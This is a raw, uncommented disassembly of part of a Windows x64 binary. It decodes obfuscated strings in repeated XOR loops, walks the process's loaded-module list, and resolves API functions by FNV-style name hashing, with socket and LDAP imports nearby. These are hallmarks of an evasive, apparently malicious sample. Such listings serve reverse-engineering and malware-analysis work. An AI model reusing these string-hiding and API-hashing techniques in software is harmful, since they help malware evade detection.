call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xa
jb 0x1400e74b0
mov edx, 0xa
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xe10]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x540]
lea rcx, [rbp - 0x3d]
call fcn.1400ea820
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xd
jb 0x1400e7520
mov edx, reloc.WS2_32.dll_listen
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xe30]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x3c]
call fcn.1400ea860
mov r14, rax
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x1400e7590
mov edx, 6
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xe50]
call fcn.140046ed0
nop
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x3b]
call fcn.1400ea890
mov r14, rax
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 4
jb 0x1400e7600
mov edx, 4
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xe70]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x230]
lea rcx, [rbp - 0x3a]
call fcn.1400ea8c0
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xa
jb 0x1400e7670
mov edx, 0xa
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xe90]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x39]
call fcn.1400ea900
mov r14, rax
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x1400e76e0
mov edx, 7
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xeb0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x380]
lea rcx, [rbp - 0x38]
call fcn.1400ea930
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xb
jb 0x1400e7750
mov edx, ntohl
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xed0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x37]
call fcn.1400ea970
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xa
jb 0x1400e77c0
mov edx, 0xa
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xef0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xa60]
lea rcx, [rbp - 0x36]
call fcn.1400ea9b0
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0x13
jb 0x1400e7830
mov edx, reloc.WS2_32.dll_send
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xf10]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x550]
lea rcx, [rbp - 0x35]
call fcn.1400eaa00
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xd
jb 0x1400e78a0
mov edx, reloc.WS2_32.dll_listen
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xf30]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x390]
lea rcx, [rbp - 0x34]
call fcn.1400eaa40
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xb
jb 0x1400e7910
mov edx, ntohl
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xf50]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x33]
call fcn.1400eaa80
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xa
jb 0x1400e7980
mov edx, 0xa
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xf70]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp - 0x32]
call fcn.1400eaac0
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xc
jb 0x1400e79f0
mov edx, ntohl
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xf90]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp - 0x31]
call fcn.1400eab00
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xb
jb 0x1400e7a60
mov edx, ntohl
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xfb0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 0x30]
call fcn.1400eab40
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xa
jb 0x1400e7ad0
mov edx, 0xa
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xfd0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x560]
lea rcx, [rbp - 0x2f]
call fcn.1400eab80
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xd
jb 0x1400e7b40
mov edx, reloc.WS2_32.dll_listen
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0xff0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x2e]
call fcn.1400eabc0
mov r14, rax
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x1400e7bb0
mov edx, 6
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1010]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x2d]
call fcn.1400eabf0
mov r14, rax
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x1400e7c20
mov edx, 6
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1030]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x60]
lea rcx, [rbp - 0x2c]
call fcn.1400eac20
mov r14, rax
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x1400e7c90
mov edx, 7
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1050]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x2b]
call fcn.1400eac50
mov r14, rax
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x1400e7d00
mov edx, 7
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1070]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x2a]
call fcn.1400eac80
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x1400e7d70
mov edx, 7
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1090]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xa18]
lea rcx, [rbp - 0x29]
call fcn.1400eacb0
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0x12
jb 0x1400e7de0
mov edx, reloc.WS2_32.dll_select
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x10b0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x28]
call fcn.1400eacf0
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 8
jb 0x1400e7e50
mov edx, 8
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x10d0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xd0]
lea rcx, [rbp - 0x27]
call fcn.1400ead30
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 8
jb 0x1400e7ec0
mov edx, 8
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x10f0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xa78]
lea rcx, [rbp - 0x26]
call fcn.1400ead70
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0x13
jb 0x1400e7f30
mov edx, reloc.WS2_32.dll_send
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1110]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x25]
call fcn.1400eadc0
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 8
jb 0x1400e7fa0
mov edx, 8
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1130]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp - 0x24]
call fcn.1400eae00
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xb
jb 0x1400e8010
mov edx, ntohl
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1150]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x570]
lea rcx, [rbp - 0x23]
call fcn.1400eae40
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xd
jb 0x1400e8080
mov edx, reloc.WS2_32.dll_listen
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1170]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x580]
lea rcx, [rbp - 0x22]
call fcn.1400eae80
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xd
jb 0x1400e80f0
mov edx, reloc.WS2_32.dll_listen
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1190]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xa30]
lea rcx, [rbp - 0x21]
call fcn.1400eaec0
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0x12
jb 0x1400e8160
mov edx, reloc.WS2_32.dll_select
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x11b0]
call fcn.140046ed0
nop
lea r8, [rbp + 0x11d0]
lea rdx, [rbp + 0xbf0]
lea rcx, [rbp + 0x6e0]
call fcn.14005abd0
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x20a0], xmm0
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x20a0]
lea rcx, [rbp + 0x20c8]
call fcn.14005c270
nop
lea r9, [fcn.14005cc00]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, Ordinal_50
lea rcx, [rbp + 0xbf0]
call fcn.1402b0084
lea rcx, [rbp + 0x20b0]
call fcn.1400d41b0
mov rdi, rax
lea rcx, [rbp + 0x20b0]
call fcn.1400d4190
mov rsi, rax
cmp rdi, rax
je 0x1400e8279
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x6c0]
call fcn.1400e4020
nop
mov rcx, rax
call fcn.1400e36e0
mov rbx, rax
lea rcx, [rbp + 0x6c0]
call fcn.1400d4840
test rbx, rbx
jne 0x1400e83b9
add rdi, 0x20
cmp rdi, rsi
jne 0x1400e8240
mov rdi, qword [rbp + 0x20c8]
mov qword [rbp - 0x10], rdi
mov rsi, qword [rbp + 0x20d0]
mov qword [rbp - 0x18], rsi
cmp rdi, rsi
je 0x1400e8516
nop dword [rax + rax]
mov rbx, qword [0x140491860]
test rbx, rbx
jne 0x1400e84f1
xor r11d, r11d
mov r10d, 0x478fe13a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r12, rsi
mov r13, rsi
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rbp + 0x20a0], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x1400e833d
mov rcx, qword [rbp + 0x20a8]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x370d496c
cmp rcx, r8
je 0x1400e8334
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400e8320
cmp edx, r11d
jne 0x1400e84cd
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r14, qword [rax + r9 + 0x88]
mov edi, r14d
add rdi, r9
shr r14, 0x20
cmp rdi, r9
je 0x1400e84cd
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400e84cd
mov r15d, dword [rdi + 0x20]
dec r8d
lea rax, [r9 + r8*4]
mov eax, dword [rax + r15]
add rax, r9
mov edx, 0x370d496c
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400e83a6
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x1400e8390
cmp edx, r10d
je 0x1400e8457
test r8d, r8d
jne 0x1400e8371
jmp 0x1400e84cd
lea rdx, [rbp + 0xb70]
lea rcx, [rbp - 0x1f]
call fcn.1400eaf00
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rdx + 0x16], r8b
mov byte [rdx + 0x17], 0
mov r8, rdi
lea rcx, [rbp + 0x6f0]
call fcn.1400608c0
mov rdx, rax
lea rcx, [0x140491db0]
call fcn.1402554a0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, rdi
jbe 0x1400e84e2
lea rax, [r14 + rdi]
cmp rbx, rax
jae 0x1400e84e2
mov r11d, 0x370d496c
mov r10d, r11d
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x1400e84a7
nop dword [rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x1400e8490
inc rbx
movzx eax, byte [rbx]
test al, al
je 0x1400e84c9
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x1400e84b1
mov rsi, qword [r13]
mov rsi, qword [rsi]
cmp rsi, r12
je 0x1400e84e0
cmp qword [rsi + 0x30], 0
jne 0x1400e82e0
xor ebx, ebx
mov qword [0x140491860], rbx
mov rdi, qword [rbp - 0x10]
mov rsi, qword [rbp - 0x18]
mov rcx, rdi
call fcn.14005c590
mov rdx, rax
xor ecx, ecx
call rbx
test rax, rax
jne 0x1400e855f
add rdi, 0x20
mov qword [rbp - 0x10], rdi
cmp rdi, rsi
jne 0x1400e82a0
lea rcx, [rbp + 0x20c8]
call fcn.14005f340
nop
lea rcx, [rbp + 0x20b0]
call fcn.14005f340
mov rcx, qword [rbp + 0x20e0]
xor rcx, rsp
call fcn.1402aff00
lea r11, [rsp + 0x21f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [rbp + 0xac0]
lea rcx, [rbp - 0x1e]
call fcn.1400eaf50
lea rdx, [rax + 1]
movzx r9d, byte [rax]
xor byte [rdx], r9b
xor byte [rax + 2], r9b
xor byte [rax + 3], r9b
xor byte [rax + 4], r9b
xor byte [rax + 5], r9b
xor byte [rax + 6], r9b
xor byte [rax + 7], r9b
xor byte [rax + 8], r9b
xor byte [rax + 9], r9b
xor byte [rax + 0xa], r9b
xor byte [rax + 0xb], r9b
xor byte [rax + 0xc], r9b
xor byte [rax + 0xd], r9b
xor byte [rax + 0xe], r9b
xor byte [rax + 0xf], r9b
xor byte [rax + 0x10], r9b
xor byte [rax + 0x11], r9b
xor byte [rax + 0x12], r9b
xor byte [rax + 0x13], r9b
xor byte [rax + 0x14], r9b
xor byte [rdx + 0x14], r9b
mov byte [rdx + 0x15], 0
mov r8, rdi
lea rcx, [rbp + 0x710]
call fcn.1400608c0
mov rdx, rax
lea rcx, [0x140491db0]
call fcn.1402554a0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3